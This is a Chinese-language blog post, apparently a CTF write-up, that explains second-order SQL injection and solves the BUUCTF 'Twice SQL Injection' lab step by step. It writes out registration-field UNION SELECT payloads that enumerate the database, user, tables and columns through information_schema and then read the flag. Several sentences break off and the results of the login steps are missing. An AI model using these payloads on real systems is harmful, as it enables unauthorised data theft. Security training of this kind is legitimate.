SQL注入——二次注入

SQL注入——二次注入

0.前言

  二次注入是典型的存储类型注入,当在洁面奶有登录等交互界面时,我们可以构造恶意数据存储在数据库中,当第二次调用恶意数据时,该内容会被读取并执行SQL的查询语句,从而造成注入攻击。

  注:这里有时候在输入上会纯在字符的长度限制,如果是咋前端,我们可以使用

1.原理

  第一步:插入恶意数据

  第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身包含恶意内容。

  第二步:引用恶意数据

  在将数据存入到了数据库中之后,开发者就认为数据是可信的了(比较有提前筛选),在下一次需要进行查询的时候,直接从数据库中取出了恶意数据,没有进行进一步的检验和处理,这就形成了最终的SQL二次注入。

2.注入尝试

  这里以BUUCTF–October 2019 Twice SQL Injection的作为演示例子,当我们打开界面时间纯在用户登录界面,尝试使用进行登录界面注入

1
admin'#

  可以看见,尝试注入失败,并没有任何的反馈。

3.注册

  查看到有注册界面,点击进行注册尝试,用户采用admin’#,密码随意:

  登录之后的界面,显然是没有回显的:

  其实在前面也有提到过,在

4.注册爆出数据库名

  尝试使用二次注入的办法注册:

1
liaoyue' union select database() #

  登录:

  

5.注册爆出权限

1
liaoyue' union select user()#

  登录:

6.注册爆出表名

1
liaoyue' union select group_concat(table_name) from information_schema.tables where table_schema='ctftraining' #

  登录:

7.注册爆出列名

  看见有flag,直接兴奋

1
liaoyue' union select group_concat(column_name) from information_schema.columns where table_name='flag'#

  登录:

8.注册爆出列的内容

  可恶,有够麻烦的,怎么还有一层

1
liaoyue' union select flag from flag #

  登录:

  搞定,收工咧


SQL注入——二次注入
https://one-null-pointer.github.io/2022/08/23/SQL注入——二次注入/
Author
liaoyue
Posted on
August 23, 2022
传送口